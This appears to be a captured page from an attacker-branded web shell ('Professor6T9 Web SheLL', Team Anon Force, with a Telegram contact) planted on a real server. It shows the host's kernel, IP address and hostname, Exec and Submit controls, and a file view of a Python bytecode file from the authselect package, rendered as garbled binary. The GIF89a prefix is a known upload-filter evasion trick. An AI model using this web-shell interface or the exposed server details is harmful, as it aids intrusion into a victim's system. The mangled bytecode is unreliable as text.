GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux 98.35.109.208.host.secureserver.net 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
Apache
208.109.35.98
/
lib
/
python3.9
/
site-packages
/
authselect
/
__pycache__
[ HOME ]
Exec
Submit
File Name : authcompat_EnvironmentFile.cpython-39.opt-1.pyc
a ٥�cL � @ s* d dl Z d dlZd dlZG dd� d�ZdS )� Nc @ sR e Zd ZdZddd�Zdd� Zd d � Zddd�Zd d� Zdd� Z G dd� d�Z dS )�EnvironmentFileF�=NTc C sL || _ || _|| _g | _|d ur$|n|}t�d| d tj�| _| �� d S )Nz^(\s*)(\S*)([^\n\S]*)(z)([^\n\S]*)(.*)$) �filename� delimiter�quotes�environment�re�compile� MULTILINE�pattern�read)�selfr r Zdelimiter_rer � r �I/usr/lib/python3.9/site-packages/authselect/authcompat_EnvironmentFile.py�__init__ s ���zEnvironmentFile.__init__c C s� z8t | jd��}|�� }W d � n1 s,0 Y W n tyL Y d S 0 |D ](}| j�|| j| j| j�}| j � |� qRd S )N�r)�openr � readlines�FileNotFoundError�Line�Parser r r r �append)r �f�lines�line�parsedr r r r . s *�zEnvironmentFile.readc C s� d}| j D ]}||�� }q | jrJtd| j � t|� td| j � d S tj�| j�}tj�|�s�zt� |� W n@ t y� } z(|jtjkr�tj� |�r�n� W Y d }~n d }~0 0 t| jd��}|�|� W d � n1 s�0 Y d S )N� z+========== BEGIN Content of [%s] ==========z,========== END Content of [%s] ========== �w)r �getLine�TEST�printr �os�path�dirname�exists�makedirs�OSError�errnoZEEXIST�isdirr �write)r �outputr r# � exceptionr r r r r) : s$ zEnvironmentFile.writec C sX d }| j D ]}|�� r |j|kr |j}q |d u r4|S |�� dv rDdS |�� dv rTdS |S )N)N�noZfalser �nF)�yes�true�t�yT)r � isVariable�name�value�lower)r r3 �defaultr4 r r r r �getR s zEnvironmentFile.getc C s&